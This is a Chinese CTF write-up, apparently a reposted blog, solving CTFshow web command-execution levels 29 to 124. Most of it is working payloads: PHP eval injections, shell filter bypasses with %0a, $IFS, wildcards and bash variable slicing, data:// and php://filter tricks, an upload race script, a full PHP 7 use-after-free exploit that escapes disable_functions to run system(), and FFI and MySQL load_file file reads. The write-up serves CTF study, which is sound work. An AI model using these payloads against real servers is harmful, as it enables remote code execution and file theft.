CTFshow-WEB入门-命令执行

web29

?c=system("cat fla*.php");

或者在这里插入图片描述
连蚁剑得flag。

web30

在这里插入图片描述

或者其他姿势,因为过滤太少,命令执行得函数很多,绕过姿势也很多,因此不列举了。

web31

在这里插入图片描述

或者

?c=echo`tac%09fl*`;

web32

利用自己以前没有注意过得一个点。

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
    
    

过滤了括号和分号确实有些难受。过滤了括号只能用无括号的函数:
在这里插入图片描述
但是过滤了分号让我非常不解,eval内如果要RCE必须以分号结尾啊,没有分号怎么行呢?
后来看了WP,发现自己的问题所在:
在这里插入图片描述
例如eval这样的句子,

eval("echo 1;");
eval("echo 1?>");

这两种都是可以的。因此利用?>。接下来有大致两种方法。

一种是这样:

?c=include$_GET[0]?>&0=data://text/plain,<?php phpinfo();?>

利用文件包含的洞,在这题的环境直接可以RCE。
或者利用php伪协议来读php文件:

?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php

学到了!还是自己太菜了。

web33

这题和web32基本一样,多了一些无关紧要的过滤,又想了一种可以include日志:

在这里插入图片描述
同样可以拿到shell,然后读文件即可。

web34

同上。

web35

同上

web36

同上,不过0改成a即可。

web37

相当于没过滤,姿势太多。

?c=data://text/plain,<?php system("cat fla*")?>

web38

?c=data://text/plain,<?= system("cat fla*");?>

相当于没过滤,姿势太多。

web39

同上,不过hint是这样说的:

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

web40

利用无参数RCE的姿势,一个坑的地方就是括号:
在这里插入图片描述

并不是(),而是(),实在有毒。。。

参考:PHP Parametric Function RCE

姿势一

readfile(array_rand(array_flip(scandir(current(localeconv())))));
或者
readfile(next(array_reverse(scandir(current(localeconv())))));

姿势二

以为这不是一个apache2的环境,但是经过测试确实存在getallheaders(),因此利用getallheaders():

?c=eval(array_rand(array_flip(getallheaders())));

在这里插入图片描述
碰运气。

姿势三

利用get_defined_vars()

?c=eval(end(current(get_defined_vars())));&a=system("ls");

这题利用session_id的话,无法读flag,因为过滤了数字,也没法hex2bin:
在这里插入图片描述

因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的。

没有hex2bin的话,就只能执行数字字母的命令了。或许也有其他的函数可以实现?

web41

过滤了异或和取反,但是没过滤|,因此利用|。
脚本如下:

<?php
$payload = 'phpinfo';
$length = strlen($payload);
$a = '';
$b = '';
$flag = 0;
echo '<br>';
for ($l = 0; $l < $length; $l++) {
    
    
    $flag=0;
    for ($i = 1; $i < 256; $i++) {
    
    
        if(preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i',chr($i))) continue;
        for ($j = 1; $j < 256; $j++) {
    
    
            if(preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i',chr($j))) continue;
            if ((chr($i) | chr($j)) === $payload[$l]) {
    
    
                echo urlencode(chr($i));
                $a=$a.urlencode(chr($i));
                echo '|';
                echo urlencode(chr($j));
                $b=$b.urlencode(chr($j));
                echo '=' . $payload[$l];
                echo "<br>";
                $flag=1;
                break;
            }
        }
        if($flag===1){
    
    
            break;
        }
    }
}

echo $a.'|'.$b;

有毒的地方就是

这个:eval("echo($c);");
要闭合echo,然后构造。此外,还要记得加单引号。还要用bp,直接harkbar不行。

c='');('%13%19%13%14%05%0D'|'%60%60%60%60%60%60')(('%03%01%14'|'%60%60%60').' '.('%06%0C%01%07%02%10%08%10'|'%60%60%60%60%2C%60%60%60'));//
c='');system("cat flag.php");//

web42

system($c." >/dev/null 2>&1");

把标准输出和错误输出都重定向到了/dev/null,相当于没有了输出,但是这仅仅影响它本来的那一条命令,分隔命令即可,也就是命令执行中的执行多条命令。

cat flag.php;
cat flag.php%0a
cat flag.php||
cat flag.php%26
cat flag.php%26%26

web43

过滤了cat用tac,过滤了;用%0a等。

tac flag.php%0a

web44

?c=tac fl*%0a
?c=tac fl??????%0a

web45

?c=tac%09fla*%0a

web46

?c=tac%09fla?????%0a

web47

?c=tac%09fla''g.php%0a

web48

?c=tac%09fla''g.php%0a

web49

?c=tac%09fla''g.php%0a

web50

tac<fla''g.php%0a

web51

?c=nl<>fla''g.php%0a

web52

?c=nl$IFS''/fla''g%0a

web53

?c=ca''t$IFS''fla''g.php

web54

?c=uniq${
    
    IFS}f???????

还学习到了新的姿势:

?c=/bin/ca?${
    
    IFS}f???????

web55

超级有意思的一道题目,学到了好多知识。

姿势一

首先是/bin这个目录。
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

就像上一题用到了/bin/ca?一样,这题利用/bin/base64
base64这个命令就是将指定的文件的内容以base64加密的形式输出。
因为过滤了字母,正好可以用64来匹配,最终payload如下:

/???/????64 ????????

匹配的是/bin/base64 flag.php

姿势二

姿势一有些类似,不过利用的是/usr/bin目录:
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。

大师傅们利用的是/usr/bin下的bzip2:

/???/???/????2 ????????

匹配的是/usr/bin/bzip2 flag.php,把flag.php给压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来。膜!大师傅们的知识面实在太广了。

姿势三

利用了P神的无数字字母getshell:
无字母数字webshell之提高篇

发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

讲命令写入文件后,可以利用点. 来执行文件中的命令,例如. file。也可以source file,但是这题过滤了字母,因此只能用点。

如何正确匹配到我们上传的文件呢?探索过程见p神的文章,最后的利用是/???/????????[@-[]

写一个文件上传的前端:

<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
<form  method="post" enctype="multipart/form-data">
    <input type="file" name="1">
    <input type="submit" name="2">
</form>
</body>
</html>

上传抓个包:
在这里插入图片描述
然后在题目的环境里抓包,改成上传就可以了:
在这里插入图片描述
P神太强了!!!

还有大师傅写了个python脚本,省去了抓包的事:

import requests

while True:
    url = "http://80f8239f-d1d3-4365-8b48-12adf22459fe.chall.ctf.show/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={
    
    "file": ('feng.txt', b'cat flag.php')})
    if r.text.find("flag") >0:
        print(r.text)
        break

web56

利用上题p神的方法。

web57

又是新姿势,知识点是$(( ))与整数运算。想办法构造出36.

首先要知道双小括号的用处:

双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。
通俗地讲,就是将数学运算表达式放在((和))之间。

表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。

可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。

可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。

注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。

还要知道$(())的值是0。此外,关于取反,根据我学习下来得到的经验就是如果b=~a,那么a+b=-1。因此:
在这里插入图片描述
因此想获得36,就需要对-37进行取反。-37怎么得到呢?先看一下-2怎么得到:
在这里插入图片描述

$((     $((~$(())))       $((~$(())))        ))-2
$((~$(())))-1


也就是说,默认是相加,这样也行:

$((     $((~$(())))   +    $((~$(())))        ))

因此在里面放37个$((~$(()))),就可以得到-37,然后取反就可以了。
在这里插入图片描述
最终:

$((~$((     $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))        ))))

web58

接下来开始绕disable_functions了。

读文件的函数有这些:

file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()

这题都没有过滤,全都可以读flag.php。
注意fgets函数的使用:

c=
$a=fopen("flag.php","r");
while($b=fgets($a)){
    
    
echo $b;
}

或者蚁剑直接连然后打开flag.php,有手就行。

web59

ban了些函数,这些都能用:

highlight_file()
show_source()
fgets()
file()

此外还学习到了利用fopen的一些姿势:

c=$a=fopen("flag.php","r");while (!feof($a)) {
    
    $line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {
    
    $line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {
    
    $line =fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);

学到了学到了!。

web60

大师傅们的姿势实在是太多了,又学习到了一种全新姿势:

//通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
copy()
rename()
//用法:
copy("flag.php","flag.txt");            
rename("flag.php","flag.txt");           

web61

c=show_source("flag.php");

web62

c=show_source("flag.php");

web63

c=show_source("flag.php");

web64

c=show_source("flag.php");

web65

c=show_source("flag.php");

web66

c=highlight_file("/flag.txt");

web67

c=var_dump(scandir("/"));
c=highlight_file("/flag.txt");

web68

各种读文件的都被过滤了,但是还是可以

c=var_dump(scandir("/"));

这里就要想到文件包含(对不起我没想到。。。实在太菜了。)include没ban的话就可以利用文件包含的漏洞了,是txt就直接包含,是php就base64包含:

c=include("/flag.txt");

web69

因为过滤了var_dump和print_r,因此想要输出数组的内容只能遍历数组。

c=
$a=scandir("/");
foreach($a as $value){
    
    
echo $value."   ";
}

太久没用过PHP的foreach了,我差点都以为PHP没有foreach了。。。
顺便提一下,除了scandir,还有glob也可以用:

c=
$a=glob("/*");
foreach($a as $value){
    
    
echo $value."   ";
}

此外还有一种新姿势:

c=
$a=new DirectoryIterator('glob:///*');
foreach($a as $f){
    
    
echo($f->__toString()." ");
}

其他就没啥可说的,还是c=include("/flag.txt");

web70

c=include("/flag.txt");

web71

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
    
    
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    
    
    highlight_file(__FILE__);
}

?>

你要上天吗?

用exit或者die提前结束进程,使得后面的代码

$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);

不会被执行。

c=include("/flag.txt");exit();

web72

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
    
    
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    
    
    highlight_file(__FILE__);
}

?>

你要上天吗?

存在open_basedir,利用glob伪协议在筛选目录时不受open_basedir制约:

c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
    
    
echo $f."    " ;
}

exit();

知道了文件是/flag0.txt之后,就要想办法绕过open_basedir和disable_functions来读了。这题用蚁剑没成功,看了一下,利用的是php7-backtrace-bypass。
原始脚本如下:
php7-backtrace-bypass
不过这个脚本里的一些函数都被也被ban了,看来是出题人故意的最后魔改如下:

<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {
    
    
    global $abc, $helper, $backtrace;

    class Vuln {
    
    
        public $a;
        public function __destruct() {
    
     
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) {
    
     # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
    
    
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
    
    
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
    
    
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
    
    
        $out = "";
        for ($i=0; $i < $m; $i++) {
    
    
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
    
    
        $i = 0;
        for($i = 0; $i < $n; $i++) {
    
    
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
    
    
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) {
    
     $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
    
    
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
    
    
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) {
    
     # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) {
    
     # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
    
    
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
    
    
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
    
    
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
    
    
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
    
    
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
    
    
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
    
     # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
    
    
        $addr = $basic_funcs;
        do {
    
    
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
    
     # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
    
    
        # str_shuffle prevents opcache string interning
        $arg =str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
    
    
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) {
    
     };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
    
    
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
    
    
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
    
    
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
    
    
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
    
    
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
    
    
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

url编码就可以得到flag。

web73

没有open_basedir,直接scandir都行,是/flagc.txt,然后include也没过滤,直接include就行了。

web74

同上

web75

先利用之前的姿势得到flag在/flag36.txt。
这题的姿势非常古怪,看了WP才知道:

c=

try {
    
    
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
        'root');

    foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
    
    
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    
    
    echo $e->getMessage();
    exit(0);
}
exit(0);

大师傅们说数据库的连接是读配置文件得到的。至于配置文件在哪。。鬼知道。。。
不过这种拿SQL语句来读文件绕过open_basedir和disable_function的姿势实在是第一次见,学到了学到了。

web76

同上。

web77

明示是php7.4,很容易想到利用FFI来绕过disable_functions。姿势如下:

c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
    
    
echo $f."    " ;
}

$ffi = FFI::cdef(
    "int system(const char *command);");

$ffi->system("/readflag > 1.txt");

exit();

需要注意的是命令执行没有回显,只能写文件里。因为之前都没有写的权限,我第一反应是没法写,然后echo也没法回显,就以为是姿势不对。其实这题/var/www/html有写的权限,1.txt也是直接就可以访问。

web118

又是姿势盲区。。。感觉大师傅们的姿势实在是太多了,太强了。
经过一系列的fuzz,可以发现过滤了小写字母,数字还有一些字符。因为windows不区分大小写,但是linux是区分大小写的,所以大小写不能绕过,/也被过滤了,我就不会了。。看了一下WP,利用的是linux的bash内置变量还有关于它的一些知识点。
具体的内置变量可以输入env查看,不过env是所有的环境变量,而内置变量知识环境变量的一部分。

常见 Bash 内置变量介绍
Linux 基础知识:Bash的内置变量
正常可以利用切片来获得所需要的字母:
在这里插入图片描述
但是这题过滤了数字,因此要用到另一个知识点:取反号~
linux可以利用~获得变量的最后几位:
在这里插入图片描述
但是不是过滤了数字了吗?可以利用字母,在这里用字母就等同于数字0:
在这里插入图片描述
所以可以利用各个环境变量的最后一位来构造命令。
${PWD}在这题肯定是/var/www/html,而${PATH}通常是bin,结尾,因此就可以构造命令nl:

code=${PATH:~A}${PWD:~A} ????.???

web119

在上一题的基础上过滤了PATH还有BASH,所以就不像上一题那样可以这么轻松的构造出来了,需要把能利用的变量通通试一遍。

数字方面可以构造出什么呢?首先大写字母等同于0,所以0是有的。还要知道linux的这个知识:

${#变量}

不加#是变量的值,加了#是变量的值的长度。既然linux存在那么多的bash内置变量,那么长度肯定也是很多的,再加上各种变形和套娃,我觉得甚至0-9都取到也不是很难。
这里大师傅们用了这两个内置变量:RANDOMSHLVL

RANDOM
此变量值,随机出现整数,范围为0-32767。不过,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样。为此,在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子,这样才不会每次产生的随机数其顺序都一样。

因此光利用RANDOM这个函数理论上就可以得到数字1-5了,不过相对来说4和5的概率会更大。

SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器

不理解也没关系,只要知道这个东西的默认值是1,而且如果不进行一些特殊的操作的话,永远都是1,所以这个可以帮助我们得到数字1。

yu师傅使用的是/bin/base64 flag.php,因此考虑构造出/和数字4就可以了,当然数字6也不是不能构造。最终payload如下:

code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

web120

同上。
之前的题目和这题的hint中因为都用到了一些不可预测的变量,比如HOME,HOSTNAME,还有这题的USER。不同环境肯定不同,而且因为这题没法输出,你很难得到这些的值,只能靠猜,所以就没有去深究hint。

web121

又加ban了好多东西,对于我们来说SHLVL被ban了,因此数字1的构造需要重新想办法。虽然理论上有了RANDOM什么数字都可以构造出来,但是毕竟是随机,拿脚本去跑拼运气总是不好的。
经过本地测试,发现这个可以构造出1:

${
    
    ##}

为啥我也不知道。。。在本地瞎测试出来的。
看了一下yu师傅的姿势,用的是${#?}

$?
用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。

所以用${##}${#?}都可以,去对之前的姿势进行修改就可以了。

hint中的payload是这个:

${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???

用到了IFS:

用途:定义字段分隔字符。默认值为:空格符、tab字符、换行字符(newline)。

长度为3,而PWD是/var/www/html,正好可以取到r,用/bin/rev这个命令来读flag.php。rev这个命令又是姿势盲区了,查了一下,是把文件中每行逆序输出读取,又学到一种文件读取的姿势了。

web122

又ban了许多东西,ban了PWD可以用HOME代替,但是把#给ban就非常难受了,没想到比较好的办法。
看了一下yu师傅的WP,还是利用$?,获取上一条命令执行结束后的返回值,0代表成功,非0代表失败。而且这个返回值原来是可控的:

"OS error code   1:  Operation not permitted"
"OS error code   2:  No such file or directory"
"OS error code   3:  No such process"
"OS error code   4:  Interrupted system call"
"OS error code   5:  Input/output error"
"OS error code   6:  No such device or address"
"OS error code   7:  Argument list too long"
"OS error code   8:  Exec format error"
"OS error code   9:  Bad file descriptor"
"OS error code  10:  No child processes"
"OS error code  11:  Resource temporarily unavailable"
"OS error code  12:  Cannot allocate memory"
"OS error code  13:  Permission denied"
"OS error code  14:  Bad address"
"OS error code  15:  Block device required"
"OS error code  16:  Device or resource busy"
"OS error code  17:  File exists"
"OS error code  18:  Invalid cross-device link"
"OS error code  19:  No such device"
"OS error code  20:  Not a directory"
"OS error code  21:  Is a directory"
"OS error code  22:  Invalid argument"
"OS error code  23:  Too many open files in system"
"OS error code  24:  Too many open files"
"OS error code  25:  Inappropriate ioctl for device"
"OS error code  26:  Text file busy"
"OS error code  27:  File too large"
"OS error code  28:  No space left on device"
"OS error code  29:  Illegal seek"
"OS error code  30:  Read-only file system"
"OS error code  31:  Too many links"
"OS error code  32:  Broken pipe"
"OS error code  33:  Numerical argument out of domain"
"OS error code  34:  Numerical result out of range"
"OS error code  35:  Resource deadlock avoided"
"OS error code  36:  File name too long"
"OS error code  37:  No locks available"
"OS error code  38:  Function not implemented"
"OS error code  39:  Directory not empty"
"OS error code  40:  Too many levels of symbolic links"
"OS error code  42:  No message of desired type"
"OS error code  43:  Identifier removed"
"OS error code  44:  Channel number out of range"
"OS error code  45:  Level 2 not synchronized"
"OS error code  46:  Level 3 halted"
"OS error code  47:  Level 3 reset"
"OS error code  48:  Link number out of range"
"OS error code  49:  Protocol driver not attached"
"OS error code  50:  No CSI structure available"
"OS error code  51:  Level 2 halted"
"OS error code  52:  Invalid exchange"
"OS error code  53:  Invalid request descriptor"
"OS error code  54:  Exchange full"
"OS error code  55:  No anode"
"OS error code  56:  Invalid request code"
"OS error code  57:  Invalid slot"
"OS error code  59:  Bad font file format"
"OS error code  60:  Device not a stream"
"OS error code  61:  No data available"
"OS error code  62:  Timer expired"
"OS error code  63:  Out of streams resources"
"OS error code  64:  Machine is not on the network"
"OS error code  65:  Package not installed"
"OS error code  66:  Object is remote"
"OS error code  67:  Link has been severed"
"OS error code  68:  Advertise error"
"OS error code  69:  Srmount error"
"OS error code  70:  Communication error on send"
"OS error code  71:  Protocol error"
"OS error code  72:  Multihop attempted"
"OS error code  73:  RFS specific error"
"OS error code  74:  Bad message"
"OS error code  75:  Value too large for defined data type"
"OS error code  76:  Name not unique on network"
"OS error code  77:  File descriptor in bad state"
"OS error code  78:  Remote address changed"
"OS error code  79:  Can not access a needed shared library"
"OS error code  80:  Accessing a corrupted shared library"
"OS error code  81:  .lib section in a.out corrupted"
"OS error code  82:  Attempting to link in too many shared libraries"
"OS error code  83:  Cannot exec a shared library directly"
"OS error code  84:  Invalid or incomplete multibyte or wide character"
"OS error code  85:  Interrupted system call should be restarted"
"OS error code  86:  Streams pipe error"
"OS error code  87:  Too many users"
"OS error code  88:  Socket operation on non-socket"
"OS error code  89:  Destination address required"
"OS error code  90:  Message too long"
"OS error code  91:  Protocol wrong type for socket"
"OS error code  92:  Protocol not available"
"OS error code  93:  Protocol not supported"
"OS error code  94:  Socket type not supported"
"OS error code  95:  Operation not supported"
"OS error code  96:  Protocol family not supported"
"OS error code  97:  Address family not supported by protocol"
"OS error code  98:  Address already in use"
"OS error code  99:  Cannot assign requested address"
"OS error code 100:  Network is down"
"OS error code 101:  Network is unreachable"
"OS error code 102:  Network dropped connection on reset"
"OS error code 103:  Software caused connection abort"
"OS error code 104:  Connection reset by peer"
"OS error code 105:  No buffer space available"
"OS error code 106:  Transport endpoint is already connected"
"OS error code 107:  Transport endpoint is not connected"
"OS error code 108:  Cannot send after transport endpoint shutdown"
"OS error code 109:  Too many references: cannot splice"
"OS error code 110:  Connection timed out"
"OS error code 111:  Connection refused"
"OS error code 112:  Host is down"
"OS error code 113:  No route to host"
"OS error code 114:  Operation already in progress"
"OS error code 115:  Operation now in progress"
"OS error code 116:  Stale NFS file handle"
"OS error code 117:  Structure needs cleaning"
"OS error code 118:  Not a XENIX named type file"
"OS error code 119:  No XENIX semaphores available"
"OS error code 120:  Is a named type file"
"OS error code 121:  Remote I/O error"
"OS error code 122:  Disk quota exceeded"
"OS error code 123:  No medium found"
"OS error code 124:  Wrong medium type"
"OS error code 125:  Operation canceled"
"OS error code 126:  Required key not available"
"OS error code 127:  Key has expired"
"OS error code 128:  Key has been revoked"
"OS error code 129:  Key was rejected by service"
"OS error code 130:  Owner died"
"OS error code 131:  State not recoverable"
"MySQL error code 132: Old database file"
"MySQL error code 133: No record read before update"
"MySQL error code 134: Record was already deleted (or record file crashed)"
"MySQL error code 135: No more room in record file"
"MySQL error code 136: No more room in index file"
"MySQL error code 137: No more records (read after end of file)"
"MySQL error code 138: Unsupported extension used for table"
"MySQL error code 139: Too big row"
"MySQL error code 140: Wrong create options"
"MySQL error code 141: Duplicate unique key or constraint on write or update"
"MySQL error code 142: Unknown character set used"
"MySQL error code 143: Conflicting table definitions in sub-tables of MERGE table"
"MySQL error code 144: Table is crashed and last repair failed"
"MySQL error code 145: Table was marked as crashed and should be repaired"
"MySQL error code 146: Lock timed out; Retry transaction"
"MySQL error code 147: Lock table is full;  Restart program with a larger locktable"
"MySQL error code 148: Updates are not allowed under a read only transactions"
"MySQL error code 149: Lock deadlock; Retry transaction"
"MySQL error code 150: Foreign key constraint is incorrectly formed"
"MySQL error code 151: Cannot add a child row"
"MySQL error code 152: Cannot delete a parent row"

yu师傅说${}的报错在本地返回时1,但是题目环境是2,所以放开了<
<A的报错返回也是1,所以就成功得到了数字1,至于数字4拿RANDOM随机就可以了。
不过为什么${}和<A这样的报错归属为Operation not permitted我也很迷。。。

最终payload如下:

<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

web124

国赛的一道题,以前做过了,wp如下:
[CISCN 2019 初赛]Love Math

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/112862827